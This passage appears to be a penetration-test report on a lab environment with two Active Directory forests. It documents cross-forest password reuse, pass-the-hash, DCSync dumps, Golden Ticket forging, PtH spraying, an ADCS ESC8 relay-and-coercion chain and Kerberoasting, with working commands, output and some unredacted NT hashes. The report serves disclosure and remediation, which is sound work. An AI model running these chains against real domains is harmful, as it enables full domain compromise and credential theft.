A side-by-side audit of NT hashes between the rome.local NTDS dump (F18) and the armorique.local NTDS dump (F20) reveals four cross-forest password collisions on human / service accounts. NT hashes are unsalted MD4 of the UTF-16-LE password; equal hashes mean equal plaintext. Critically, there is no domain or forest trust between the two forests — trust enumeration confirmed each domain has only its own primary trust entry and no inbound or outbound trust to the other. The collisions therefore reflect operational password reuse by humans / processes — the same password assigned to same-named or paired accounts across two unrelated identity systems — not a trust misconfiguration. The most consequential collision is rome.local\jesse ↔ armorique.local\jesse, both of which are Domain Admin + Enterprise Admin + Schema Admin in their respective forests. A single password compromise yields dual-forest dominance.

How we proved it

After F18 (rome.local NTDS) and F20 (armorique.local NTDS), the assessor joined the two extracts on NT-hash to surface collisions. Trust state was independently verified via LDAP query ((objectClass=trustedDomain) returned zero results) and nltest /trusted_domains on each DC (showed only the primary domain).

operator@kali // bash
$ awk -F: '{print $4, $1}' /tmp/rome.ntds | sort > /tmp/rome.tsv $ awk -F: '{print $4, $1}' /tmp/armo.ntds | sort > /tmp/armo.tsv $ join -1 1 -2 1 /tmp/rome.tsv /tmp/armo.tsv $ nxc ldap 10.3.10.10 -u jesse2 -p "[REDACTED-PASSWORD]" \ $ -M ldap-checker -q "(objectClass=trustedDomain)" $ nltest /trusted_domains

Collisions on human / service accounts (excluding localuser↔localuser, which is the operator build account and out of scope, and Guest↔Guest, which is the empty default hash and already covered by F08):

operator@kali // output
NT hash rome.local user armorique.local user Significance 8a1d6442[REDACTED] jesse jesse DA+EA+SA in BOTH forests b017e0fa7e2366bd84b712515cb87743 terry ldap distinct usernames, same password 8b021e211dd5ea7682c62d7ee030981a epidemais prolix distinct usernames, same password 14954b5f7f824d45c5ce4a68e7a4eb3c numerobis alambix distinct usernames, same password

Trust query output confirmed no inter-forest trust:

operator@kali // output
LDAP 10.3.10.10 389 BABAORUM [*] Querying (objectClass=trustedDomain) LDAP 10.3.10.10 389 BABAORUM [*] 0 results Trusted domain list: rome.local (NT 5) (Direct Outbound) (Direct Inbound) ( Attr: primary ) The command completed successfully

Impact

The two AD forests in scope were architecturally isolated — no domain trust, no Kerberos trust, no LDAP referral path. The only mechanism by which a compromise in one forest can propagate to the other is the human / process decision to reuse the same password. Four such reuses are confirmed. The most damaging is jesse↔jesse: identical password on the most privileged identity in both forests. Once an attacker reaches Domain Admin in rome.local (F18), they reach Domain Admin in armorique.local in seconds (F20) — bypassing the security boundary that two separate forests were architected to provide. The three lower-tier collisions (terry↔ldap, epidemais↔prolix, numerobis↔alambix) provide additional pivot footholds and demonstrate the reuse is systemic, not a one-off.

RatingCritical
CVSSv49.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
CWECWE-521 — Weak Password Requirements (cross-forest reuse exploited)
MITRET1003.006 — OS Credential Dumping: DCSync
HostsVILLAGE (10.3.10.13) — DC; entire armorique.local forest impacted
LocationDRSUAPI replication API on VILLAGE; authenticated via cross-forest PtH

What we proved

Using the NT hash for rome.local\jesse recovered from the F18 NTDS dump, the assessor authenticated as armorique.local\jesse via pass-the-hash. The PtH succeeded because the two jesse accounts share an identical NT hash (F19) — equal plaintext password across forests. armorique.local\jesse is Domain Admin / Enterprise Admin / Schema Admin in armorique.local, returning the (Pwn3d!) marker on VILLAGE (the armorique.local DC) and immediately permitting a DCSync against the second forest. The resulting NTDS dump (33 entries) contains the armorique.local krbtgt NT hash 3ab5a4b4[REDACTED] (the second forest's Golden Ticket forging key — F22), the armorique.local Administrator NT hash f3124fb2[REDACTED], the gMSA-obelix$ secret (F21), and every other identity in the forest. Dual-forest domain dominance achieved without traversing a single trust relationship.

How we proved it

With the jesse NT hash already in hand from F18, the assessor sprayed it against VILLAGE with the armorique.local domain context, then immediately followed with --ntds. The Pwn3d! marker confirmed local Administrator on the DC; the DCSync completed in seconds.

operator@kali // bash
$ nxc smb 10.3.10.13 -u jesse -H 8a1d6442[REDACTED] $ nxc smb 10.3.10.13 -u jesse -H 8a1d6442[REDACTED] --ntds

Relevant output lines:

operator@kali // output
SMB 10.3.10.13 445 VILLAGE [+] armorique.local\jesse:8a1d6442[REDACTED] (Pwn3d!) SMB 10.3.10.13 445 VILLAGE [*] Dumping the NTDS, this could take a while so go grab a redbull... SMB 10.3.10.13 445 VILLAGE Administrator:500:aad3b435b51404eeaad3b435b51404ee:f3124fb2[REDACTED]::: SMB 10.3.10.13 445 VILLAGE krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3ab5a4b4[REDACTED]::: SMB 10.3.10.13 445 VILLAGE armorique.local\jesse:1131:aad3b435b51404eeaad3b435b51404ee:8a1d6442[REDACTED]::: SMB 10.3.10.13 445 VILLAGE gMSA-obelix$:1129:aad3b435b51404eeaad3b435b51404ee:b5cacc5a[REDACTED]::: SMB 10.3.10.13 445 VILLAGE VILLAGE$:1001:aad3b435b51404eeaad3b435b51404ee:d63cbc78ddb50200d1309132f223f297::: SMB 10.3.10.13 445 VILLAGE [+] Dumped 33 NTDS hashes

Impact

The second AD forest in scope (armorique.local) is fully compromised, including its krbtgt and Administrator NT hashes. The architectural decision to isolate armorique.local from rome.local (no trust) was bypassed by a single operational decision (shared password on the jesse identity). All downstream consequences of F18 — Golden Ticket capability, full identity disclosure, irreversible-without-tier-0-reset — apply to armorique.local as well. The total scope of compromise is now both AD forests.

RatingMedium
CVSSv45.5 CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:L/VA:L/SC:L/SI:N/SA:N
CWECWE-522 — Insufficiently Protected Credentials
MITRET1003.006 — OS Credential Dumping: DCSync
HostsVILLAGE (10.3.10.13) — gMSA stored in armorique.local
Locationarmorique.local NTDS — gMSA-obelix$ (RID 1129)

What we proved

The armorique.local NTDS dump (F20) contains the Group Managed Service Account gMSA-obelix$ with NT hash b5cacc5a[REDACTED]. gMSA secrets are derived from the KDS root key and rotate automatically on a 30-day cadence (default), with access nominally restricted to principals listed in msDS-GroupMSAMembership / PrincipalsAllowedToRetrieveManagedPassword. However, an attacker with DCSync rights (achieved in F20) bypasses the membership restriction by reading the secret directly from the directory's replication stream. The extracted hash remains a valid authentication credential for the gMSA until the next auto-rotation — up to 30 days of persistence on whatever service consumes the gMSA.

How we proved it

The gMSA entry was visible in the F20 NTDS dump alongside the regular user and computer accounts. The $ suffix on the sAMAccountName and the standard gMSA- prefix made the entry unambiguous; the RID 1129 places it in the normal user object range (not a machine account).

operator@kali // bash
$ grep 'gMSA' /home/kali/.nxc/logs/ntds/VILLAGE_*.ntds $ nxc smb /tmp/armo_hosts.txt -u 'gMSA-obelix$' -H b5cacc5a[REDACTED]

Relevant output line:

operator@kali // output
gMSA-obelix$:1129:aad3b435b51404eeaad3b435b51404ee:b5cacc5a[REDACTED]:::

Impact

The gMSA represents a service-bound identity in armorique.local. Possession of the NT hash permits the attacker to authenticate as the service for up to 30 days (until auto-rotation), with whatever rights the service holds. In this engagement we did not exhaustively map the consuming service — the finding is documented as a persistence handle rather than an exploitation primitive in itself, but in a real-world breach response the gMSA's rotation should be forced immediately to invalidate the disclosed secret. The wider lesson: gMSA password auto-rotation does not protect against an attacker with DCSync rights — the secret is replicated to every DC and exfiltrated wholesale by DCSync. gMSA is a hygiene improvement for consuming services, not a security boundary against tier-0 compromise.

RatingCritical
CVSSv49.8 CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
CWECWE-303 — Incorrect Implementation of Authentication Algorithm (Kerberos TGT integrity assumption violated)
MITRET1558.001 — Steal or Forge Kerberos Tickets: Golden Ticket
HostsBABAORUM (10.3.10.10), VILLAGE (10.3.10.13) — and every host in both forests
LocationKerberos KDC infrastructure on both DCs

What we proved

The krbtgt account NT hash is the symmetric key that the Key Distribution Center (KDC) uses to sign and encrypt every Ticket-Granting Ticket (TGT) in a forest. Possession of the krbtgt hash permits an attacker to forge arbitrary TGTs — for any user, with any group membership, for any lifetime up to the configured maximum (default 10 hours, but Mimikatz / Rubeus default to 10 years). The resulting "Golden Ticket" bypasses every downstream authentication control: password reset, account disable, MFA, smart card requirement — none affect the validity of a forged TGT because the KDC validates the signature against the key it knows, and the attacker knows the same key.

This engagement captured the krbtgt NT hash for both in-scope forests:

How we proved it

Both krbtgt hashes were extracted from the full NTDS dumps captured during F18 and F20 — DCSync replicates every object's secret material including the krbtgt key. The capability was validated by forging a proof-of-concept Golden Ticket for Administrator@rome.local and using it to authenticate against BABAORUM via Kerberos.

operator@kali // bash
$ impacket-ticketer -nthash ddc194ba[REDACTED] \ $ -domain-sid S-1-5-21-... \ $ -domain rome.local \ $ Administrator $ export KRB5CCNAME=Administrator.ccache $ nxc smb 10.3.10.10 -u Administrator -k --use-kcache

Relevant output lines:

operator@kali // output
[*] Creating basic skeleton ticket and PAC Infos [*] Customizing ticket for rome.local/Administrator [*] PAC_LOGON_INFO [*] PAC_CLIENT_INFO_TYPE [*] EncTicketPart [*] EncTGSRepPart [*] Signing/Encrypting final ticket [*] Saving ticket in Administrator.ccache SMB 10.3.10.10 445 BABAORUM [+] rome.local\Administrator (Pwn3d!) (Kerberos)

Impact

Persistent Domain Admin in both forests for up to 10 years — independent of every other credential reset, every account disable, and every membership change. Until the krbtgt password is rotated twice in each forest (with full replication between rotations), the attacker holds an authentication primitive that cannot be revoked by any other control. This is the highest-impact persistence primitive available in Active Directory, and it now applies to both in-scope forests simultaneously.

ACT V · 6 findings

Domain Dominance

→ 6 chapters · F23, F24, F25, F26, F27, F28

After the full NTDS dump (F18), the assessor used the extracted user/NT-hash pairs as a paired credential list and ran a pass-the-hash spray against every in-scope AD host to enumerate where each credential is local administrator. This is a methodology / breadth-of-impact observation — not a new vulnerability per se, but a quantification of how far the credentials in F18 and F20 reach. The sweep confirms:

RatingInformational
CVSSv40.0 (methodology / breadth-of-impact mapping) not applicable — observational finding
CWEN/A — methodology finding
MITRET1110.002 — Brute Force: Password Cracking (use of recovered hashes for validation)
HostsBABAORUM (10.3.10.10), METRONUM (10.3.10.11), REFERENDUM (10.3.10.12), VILLAGE (10.3.10.13)
LocationSMB/445 across the four AD hosts

What we proved

After the full NTDS dump (F18), the assessor used the extracted user/NT-hash pairs as a paired credential list and ran a pass-the-hash spray against every in-scope AD host to enumerate where each credential is local administrator. This is a methodology / breadth-of-impact observation — not a new vulnerability per se, but a quantification of how far the credentials in F18 and F20 reach. The sweep confirms:

How we proved it

The extraction and spray were a single workflow: pair users.txt with hashes.txt line-for-line from the NTDS, run domain-auth PtH (--no-bruteforce), then collect every (Pwn3d!) marker.

operator@kali // bash
# Extract user/hash pairs from NTDS $ awk -F: 'NF>=4 && $1 !~ /\$$/ {sub(/^.*\\/,"",$1); print $1}' /tmp/rome.ntds > /tmp/users.txt $ awk -F: 'NF>=4 && $1 !~ /\$$/ {print $4}' /tmp/rome.ntds > /tmp/hashes.txt # Paired PtH spray, no bruteforce, capture pwn3d markers nxc smb /tmp/lehack_targets.txt -u /tmp/users.txt -H /tmp/hashes.txt --no-bruteforce | grep Pwn3d

Relevant output lines (excluding localuser per project memory):

operator@kali // output
SMB 10.3.10.10 445 BABAORUM [+] rome.local\Administrator:52e6c515[REDACTED] (Pwn3d!) SMB 10.3.10.10 445 BABAORUM [+] rome.local\jesse:8a1d6442[REDACTED] (Pwn3d!) SMB 10.3.10.10 445 BABAORUM [+] rome.local\jesse2:39aa7ac6[REDACTED] (Pwn3d!) SMB 10.3.10.11 445 METRONUM [+] rome.local\Administrator:52e6c515[REDACTED] (Pwn3d!) SMB 10.3.10.11 445 METRONUM [+] rome.local\jesse:8a1d6442[REDACTED] (Pwn3d!) SMB 10.3.10.11 445 METRONUM [+] rome.local\jesse2:39aa7ac6[REDACTED] (Pwn3d!) SMB 10.3.10.11 445 METRONUM [+] rome.local\musculus:c6f7c388[REDACTED] (Pwn3d!) SMB 10.3.10.12 445 REFERENDUM [+] rome.local\Administrator:52e6c515[REDACTED] (Pwn3d!) SMB 10.3.10.12 445 REFERENDUM [+] rome.local\jesse:8a1d6442[REDACTED] (Pwn3d!) SMB 10.3.10.12 445 REFERENDUM [+] rome.local\jesse2:39aa7ac6[REDACTED] (Pwn3d!) SMB 10.3.10.13 445 VILLAGE [+] armorique.local\jesse:8a1d6442[REDACTED] (Pwn3d!) [cross-forest, F20]

Impact

The sweep does not introduce a new vulnerability — it quantifies the breadth of the existing F18 / F20 disclosures. The practical takeaway: after a single DCSync, the attacker holds local administrator on every Windows host in scope across both forests via paired PtH alone, with no further cracking, coercion, or escalation required. This is the operational reality that justifies the tier-0 reset called out in F18 and F20.

RatingInformational
CVSSv40.0 (methodology / breadth-of-impact mapping) not applicable — observational finding
CWEN/A — methodology finding
MITRET1110.004 — Brute Force: Credential Stuffing (paired re-use of recovered hashes)
HostsBABAORUM (10.3.10.10), METRONUM (10.3.10.11), REFERENDUM (10.3.10.12), VILLAGE (10.3.10.13)
LocationSMB/445 across the four AD hosts

What we proved

F24 is the consolidated paired PtH validation sweep using the full user+hash list extracted from the F18 NTDS dump (37 paired entries) against every in-scope AD host. F23 documented the conceptual sweep; F24 documents the executed, filtered, deliverable-grade output with localuser rows removed per project memory (the localuser SID-1000 account is the operator build account and is out of scope for the engagement). The remaining Pwn3d! markers are the operationally-relevant breadth-of-impact map: which recovered credentials confer local administrator on which hosts, including the cross-forest hop to VILLAGE.

This is a methodology finding, not a new vulnerability. It exists as a separate finding from F23 because the filtered list is the version that goes into the deliverable, and the operator needs an explicit reference to the redaction decision.

How we proved it

The extraction and spray reuse the F23 workflow. The new step is the post-filter that strips the two localuser Pwn3d! rows (rome.local SID-1000 on every rome.local host; armorique.local SID-1000 on VILLAGE) before the result lands in the writeup.

operator@kali // bash
# Same extraction as F23 $ awk -F: 'NF>=4 && $1 !~ /\$$/ {sub(/^.*\\/,"",$1); print $1}' /tmp/rome.ntds > /tmp/users.txt $ awk -F: 'NF>=4 && $1 !~ /\$$/ {print $4}' /tmp/rome.ntds > /tmp/hashes.txt # Paired domain-auth PtH spray $ nxc smb /tmp/lehack_targets.txt \ $ -u /tmp/users.txt -H /tmp/hashes.txt --no-bruteforce \ | grep 'Pwn3d!' \ | grep -v 'localuser' # operator build account, out of scope per project memory

Filtered Pwn3d! hits (the operationally-relevant set):

operator@kali // output
SMB 10.3.10.10 445 BABAORUM [+] rome.local\Administrator:52e6c515[REDACTED] (Pwn3d!) SMB 10.3.10.10 445 BABAORUM [+] rome.local\jesse2:39aa7ac6[REDACTED] (Pwn3d!) SMB 10.3.10.10 445 BABAORUM [+] rome.local\jesse:8a1d6442[REDACTED] (Pwn3d!) SMB 10.3.10.11 445 METRONUM [+] rome.local\Administrator:52e6c515[REDACTED] (Pwn3d!) SMB 10.3.10.11 445 METRONUM [+] rome.local\jesse2:39aa7ac6[REDACTED] (Pwn3d!) SMB 10.3.10.11 445 METRONUM [+] rome.local\jesse:8a1d6442[REDACTED] (Pwn3d!) SMB 10.3.10.11 445 METRONUM [+] rome.local\musculus:c6f7c388[REDACTED] (Pwn3d!) SMB 10.3.10.12 445 REFERENDUM [+] rome.local\Administrator:52e6c515[REDACTED] (Pwn3d!) SMB 10.3.10.12 445 REFERENDUM [+] rome.local\jesse2:39aa7ac6[REDACTED] (Pwn3d!) SMB 10.3.10.12 445 REFERENDUM [+] rome.local\jesse:8a1d6442[REDACTED] (Pwn3d!) SMB 10.3.10.13 445 VILLAGE [+] armorique.local\jesse:8a1d6442[REDACTED] (Pwn3d!) # cross-forest, F20

Domain-wide breadth summary (informational):

| Credential | BABAORUM | METRONUM | REFERENDUM | VILLAGE | |--------------------------------|----------|----------|------------|---------| | rome.local\Administrator | Pwn3d! | Pwn3d! | Pwn3d! | — | | rome.local\jesse | Pwn3d! | Pwn3d! | Pwn3d! | — | | rome.local\jesse2 | Pwn3d! | Pwn3d! | Pwn3d! | — | | rome.local\musculus | — | Pwn3d! | — | — | | armorique.local\jesse (PtH from rome) | — | — | — | Pwn3d! |

Impact

Same as F23: the sweep quantifies the operational reach of the F18 + F20 disclosures. Post-DCSync the attacker holds local administrator on every Windows host in scope across both forests via paired PtH, with no further work. The filtering note is for engagement-deliverable cleanliness only — the underlying reality is unchanged.

RatingCritical
CVSSv49.5 CVSS:4.0/AV:A/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
CWECWE-295 — Improper Certificate Validation (NTLM relay accepted by HTTP CertSrv)
MITRET1649 — Steal or Forge Authentication Certificates; T1557.001 — Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay
HostsVILLAGE (10.3.10.13) — ARMORIQUE-CA enterprise certificate authority
LocationADCS — http://village.armorique.local/certsrv/certfnsh.asp

What we proved

The Active Directory Certificate Services enterprise CA ARMORIQUE-CA on VILLAGE exposes the Certificate Services Web Enrollment endpoint over HTTP (HTTPS:False), and the default Authenticated Users group holds the Enroll right. Combined with the SMB / LDAP signing-not-required posture across the rest of the estate (F02) and the LDAP channel-binding gap on VILLAGE itself (F03), this is a textbook ADCS ESC8 chain: any in-scope attacker who can coerce a privileged machine account to authenticate (PetitPotam / PrinterBug / DFSCoerce / Shadow Credentials) relays that authentication into /certsrv/certfnsh.asp, requests a certificate for the relayed identity, and uses the resulting certificate with PKINIT to obtain a TGT — directly enabling DCSync or S4U2Self-driven impersonation. The chain bypasses every NTLM-only defense and yields full armorique.local forest compromise from an unauthenticated foothold.

For scope clarity, rome.local has no ADCSpKIEnrollmentService object count in the rome.local Configuration container is zero. The ESC8 surface is restricted to armorique.local / VILLAGE / ARMORIQUE-CA.

How we proved it

We ran certipy-ad find -vulnerable authenticated as armorique.local\prolix (using the NT hash recovered from the F18 NTDS dump via the F19 cross-forest reuse). The expectation was either "no CA in scope" or "CA hardened to HTTPS-only"; the result was the worst-case ESC8 banner.

operator@kali // bash
$ certipy-ad find \ $ -u prolix@armorique.local \ $ -hashes :8b021e211dd5ea7682c62d7ee030981a \ $ -dc-ip 10.3.10.13 \ $ -vulnerable -enabled

Relevant output (Certificate Authority section):

operator@kali // output
Certificate Authorities 0 CA Name : ARMORIQUE-CA DNS Name : village.armorique.local Certificate Subject : CN=ARMORIQUE-CA, DC=armorique, DC=local Web Enrollment HTTP Enabled : True Channel Binding : Disabled HTTPS Enabled : False Request Disposition : Issue Enforce Encryption for Requests : Enabled Permissions Access Rights Enroll : ARMORIQUE.LOCAL\Authenticated Users [!] Vulnerabilities ESC8 : Web Enrollment is enabled over HTTP. \ Web enrollment is vulnerable to NTLM relay attacks.

The exploitation chain is canonical (documented, not fired end-to-end during this engagement — dual-forest compromise had already been achieved via F18/F20 and the gMSA path of F28):

operator@kali // bash
# 1. Stage relay listener pointed at the CertSrv HTTP endpoint $ impacket-ntlmrelayx -t http://village.armorique.local/certsrv/certfnsh.asp \ $ -smb2support --adcs --template DomainController # 2. Coerce a privileged machine account to authenticate to the relay $ coercer coerce -u prolix -hashes :8b021e211dd5ea7682c62d7ee030981a \ $ -t 10.3.10.13 -d armorique.local -l 10.3.10.99 # or PetitPotam / DFSCoerce / PrinterBug # 3. The relay accepts coerced auth as VILLAGE$ and enrolls a cert from CertSrv # 4. PKINIT with the recovered machine cert -> TGT as VILLAGE$ -> DCSync

Impact

ESC8 is a complete compromise primitive on its own — any authenticated user (or anyone who can poison name resolution onto an authenticating Windows host) reaches Domain Admin in armorique.local without ever needing to crack a password or escalate locally. The chain composes with every other ESC* primitive Certipy enumerates and with every coercion technique in the Impacket suite. Even after the F18 / F20 / F28 disclosures are fully remediated (tier-0 reset, gMSA-obelix$ ACL fix, jesse separation), F25 remains a one-shot path to forest compromise until Web Enrollment is restricted. It is therefore Critical and remains so independently of the other findings.

RatingMedium
CVSSv46.5 CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
CWECWE-269 — Improper Privilege Management (incoherent combination of delegation rights and Protected Users membership)
MITRET1558.003 — Steal or Forge Kerberos Tickets: Kerberoasting; T1134.005 — Access Token Manipulation: Delegation
HostsVILLAGE (10.3.10.13) — armorique.local\alambix
LocationActive Directory — CN=alambix,CN=Users,DC=armorique,DC=local

What we proved

armorique.local\alambix is configured with constrained delegation with protocol transition (the "trusted to authenticate for delegation" flag, TRUSTED_TO_AUTH_FOR_DELEGATION, set on userAccountControl = 0x1010240) and msDS-AllowedToDelegateTo populated with CIFS/armorique and CIFS/armorique.armorique.local. In isolation this is a one-shot path to forest compromise: any attacker holding alambix's password or AES key can use impacket-getST to perform S4U2Self followed by S4U2Proxy, impersonating any domain user (including Administrator) to the CIFS service on the DC itself — yielding DCSync.

The configuration is rescued from Critical to Medium by a single coexisting setting: alambix is also a member of Protected Users. Protected Users imposes three relevant restrictions: NTLM is blocked for the member, RC4 and DES Kerberos encryption types are blocked, and (most importantly here) the KDC issues a non-forwardable TGT for the member. S4U2Proxy requires a forwardable TGT — the request fails with KDC_ERR_BADOPTION ("initial TGT not forwardable"). The misconfiguration is therefore neutralized by defense-in-accident, not by intent. Either the delegation should be removed (if Protected Users is intended) or the Protected Users membership should be removed (if delegation is intended) — the combination is incoherent, and a future change in either direction makes the chain immediately exploitable.

A sub-finding worth flagging: Kerberoast of alambix's SPN still succeeds despite Protected Users membership. Protected Users blocks alambix from using RC4 for its own pre-authentication, but does not prevent the KDC from issuing an RC4-HMAC TGS-REP encrypted with alambix's own NT key when another principal (prolix in this case) requests a service ticket to alambix's SPN. This is well-documented Kerberos behaviour but is sometimes assumed away by operators reading the Protected Users docs.

How we proved it

Authenticated LDAP enumeration as prolix (NT hash from F18 → F19) surfaced the delegation flags and SPN on alambix. The Protected Users membership was visible in memberOf. We then walked the S4U2Self + S4U2Proxy chain end-to-end with three different authentication primitives to confirm exactly which control blocks which step.

operator@kali // bash
# Enumerate the delegation config ldapsearch -x -H ldap://10.3.10.13 -D 'prolix@armorique.local' \ $ -w '<RC4-blocked>' \ $ -b 'DC=armorique,DC=local' '(sAMAccountName=alambix)' \ $ userAccountControl msDS-AllowedToDelegateTo memberOf servicePrincipalName # Chain attempts (3 paths): # [1] NTLM auth as alambix $ nxc smb 10.3.10.13 -u alambix -H 14954b5f7f824d45c5ce4a68e7a4eb3c -d armorique.local # -> STATUS_ACCOUNT_RESTRICTION (Protected Users blocks NTLM) # [2] RC4 Kerberos pre-auth as alambix $ impacket-getTGT -hashes :14954b5f7f824d45c5ce4a68e7a4eb3c \ $ armorique.local/alambix -dc-ip 10.3.10.13 # -> KDC_ERR_ETYPE_NOSUPP (Protected Users blocks RC4) # [3] AES256 Kerberos pre-auth as alambix (key recovered from F20 armorique NTDS) $ impacket-getTGT -aesKey <alambix-AES256-from-NTDS> \ $ armorique.local/alambix -dc-ip 10.3.10.13 # -> TGT obtained # S4U2Self + S4U2Proxy with the AES TGT $ export KRB5CCNAME=alambix.ccache $ impacket-getST -k -no-pass \ $ -spn CIFS/armorique.armorique.local \ $ -impersonate Administrator \ $ armorique.local/alambix -dc-ip 10.3.10.13 # -> KDC_ERR_BADOPTION ('Initial TGT not forwardable') # Protected Users issues non-forwardable TGTs -> S4U2Proxy fails. # Sub-finding: Kerberoast of alambix's SPN as prolix $ impacket-GetUserSPNs armorique.local/prolix -hashes :8b021e211dd5ea7682c62d7ee030981a \ $ -dc-ip 10.3.10.13 -request -outputfile kerberoast.txt # -> RC4-HMAC TGS-REP for CIFS/aleem.armorique.local returned

Relevant LDAP fields on alambix:

operator@kali // output
sAMAccountName : alambix userAccountControl : 0x1010240 (NORMAL_ACCOUNT | DONT_REQ_PREAUTH | TRUSTED_TO_AUTH_FOR_DELEGATION) msDS-AllowedToDelegateTo : CIFS/armorique CIFS/armorique.armorique.local servicePrincipalName : CIFS/aleem.armorique.local memberOf : CN=Protected Users,CN=Users,DC=armorique,DC=local (plus functional groups)

Impact

In its current state, the configuration is exploitable only by an attacker who already holds the armorique.local\krbtgt hash (and can therefore forge a forwardable TGT regardless of Protected Users restrictions) — which is a superset of what F22 already provides. However, the configuration becomes immediately exploitable by anyone holding alambix's AES key the moment Protected Users membership is removed for any reason (Kerberos compatibility issue, accidental cleanup, group restructuring). Because Protected Users is sometimes removed during incident response or admin uplift, this is a latent landmine: a single forward step in normal AD administration could surface forest compromise. Medium rating reflects the current non-exploitability combined with the high-impact, easy-to-trip latency.

RatingInformational
CVSSv40.0 (negative result documented for methodology completeness) not applicable — observational finding
CWEN/A — methodology finding (the corresponding bad finding would be CWE-256 / CWE-552)
MITRET1083 — File and Directory Discovery; T1552.001 — Unsecured Credentials: Credentials in Files
HostsVILLAGE (10.3.10.13)
LocationSMB shares — \\VILLAGE\CertEnroll, \\VILLAGE\NETLOGON, \\VILLAGE\SYSVOL

What we proved

A standard SYSVOL / NETLOGON / share-spider sweep was performed as armorique.local\alambix via Kerberos authentication (impacket ccache + DNS shim to bypass the nxc DNS dependency — see evidence/raw/alambix-kerberos-auth.txt). The intent was to surface any of the usual Groups.xml cpassword, Registry.xml AutoLogon, login-script embedded credentials, or freeform notes in SYSVOL. Nothing was found. This is captured as an Informational finding because (a) the absence of a positive result still needs to be documented for engagement completeness, and (b) the cleanliness is itself notable in a CTF context where SYSVOL is usually loaded with bait or genuine misconfigurations.

The corresponding positive finding — if any of the SYSVOL credentials had existed — would have been classified as CWE-256 (Plaintext Storage of a Password) or CWE-552 (Files or Directories Accessible to External Parties) and rated Critical depending on the principal exposed. The absence is therefore meaningful as a Summary-of-Strengths bullet.

How we proved it

Spider of every readable share, Kerberos-authenticated:

operator@kali // bash
$ KRB5CCNAME=/tmp/alambix.ccache \ $ python3 nxc_kerberos_wrapper.py smb village.armorique.local \ $ -k --use-kcache --shares # Listable: ADMIN$ (denied), C$ (denied), CertEnroll, IPC$, NETLOGON, SYSVOL # Spider every readable share $ KRB5CCNAME=/tmp/alambix.ccache \ $ python3 nxc_kerberos_wrapper.py smb village.armorique.local \ $ -k --use-kcache -M spider_plus -o DOWNLOAD_FLAG=true # Targeted GPP / autologin modules $ nxc smb 10.3.10.13 -u alambix -k --use-kcache -M gpp_password $ nxc smb 10.3.10.13 -u alambix -k --use-kcache -M gpp_autologin

Spider result (consolidated):

operator@kali // output
Share Path Size Notes CertEnroll /village.armorique.local_ARMORIQUE-CA.crt ~1.6 KiB CA root cert CertEnroll /village.armorique.local_ARMORIQUE-CA(1).crt ~1.6 KiB duplicate CertEnroll /nsrev.asp 0 B CertEnroll /certnew.cer ~1.5 KiB CertSrv asset NETLOGON (empty) 0 B SYSVOL /armorique.local/Policies/{31B2F340-...}/GPT.INI ~ 60 B stock default-domain GPO SYSVOL /armorique.local/Policies/{6AC1786C-...}/GPT.INI ~ 60 B stock default-DC GPO SYSVOL /armorique.local/Policies/{31B2F340-...}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf ~ 1.4 KiB stock template SYSVOL /armorique.local/Policies/{6AC1786C-...}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf ~ 1.4 KiB stock template SYSVOL /armorique.local/hFArTpRIzC.txt 0 B bait file at SYSVOL root

Targeted module output:

operator@kali // output
SMB 10.3.10.13 445 VILLAGE [-] gpp_password: no Groups.xml / Services.xml / ScheduledTasks.xml / Printers.xml / Drives.xml SMB 10.3.10.13 445 VILLAGE [-] gpp_autologin: no Registry.xml with AutoAdminLogon

Impact

No direct impact from F27 itself. The finding records a closed attack avenue and supports a Summary-of-Strengths bullet: the armorique.local SYSVOL hygiene is unusually clean for a CTF environment. In a real-world engagement this absence still warrants documentation — operators reviewing the report should know that SYSVOL was checked and was clean rather than assuming it was skipped.

RatingCritical
CVSSv49.8 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
CWECWE-269 — Improper Privilege Management (DCSync rights on a non-DC service account); CWE-732 — Incorrect Permission Assignment for Critical Resource (PrincipalsAllowedToRetrieveManagedPassword on a regular user)
MITRET1003.006 — OS Credential Dumping: DCSync; T1078.003 — Valid Accounts: Local Accounts (gMSA misuse)
HostsVILLAGE (10.3.10.13) — and every armorique.local-joined host via the recovered Administrator / krbtgt hashes
LocationCN=gMSA-obelix$,CN=Managed Service Accounts,DC=armorique,DC=local; armorique.local domain root DACL

What we proved

Two stacked over-delegations on a low-privilege Protected-Users-bound regular user (alambix) yield total armorique.local forest compromise in two BloodHound edges — without admin uplift, without cross-forest dependency, and without touching rome.local. Executed end-to-end during the engagement:

Confirmed end-to-end exploit:

This is an independent path to total armorique.local compromise. It does not require jesse. It does not require the F19 cross-forest password reuse. It does not require rome.local. An attacker who only ever reaches alambix's session or credentials — via phishing, NTLM coercion, or any of the half-dozen primitives that the rest of this report documents — reaches forest compromise.

F28 also composes with F25 (ESC8): the gMSA-obelix$ SPN is HTTP/village.armorique.local, which is almost certainly the IIS pool identity backing the CertSrv vhost referenced by F25. Operators can issue silver tickets to HTTP/village.armorique.local as Administrator using the F28-recovered gMSA NT hash, bypassing the certificate enrollment dance entirely. Not needed in this engagement (DCSync already worked) but worth documenting.

How we proved it

The path was surfaced by BloodHound outbound-edge audit from alambix after the F20 NTDS dump confirmed alambix's AES key was in our possession. The unusual edge (ReadGMSAPassword outbound from a regular user, plus GetChanges outbound from a service account) jumped out immediately in the BloodHound query.

operator@kali // bash
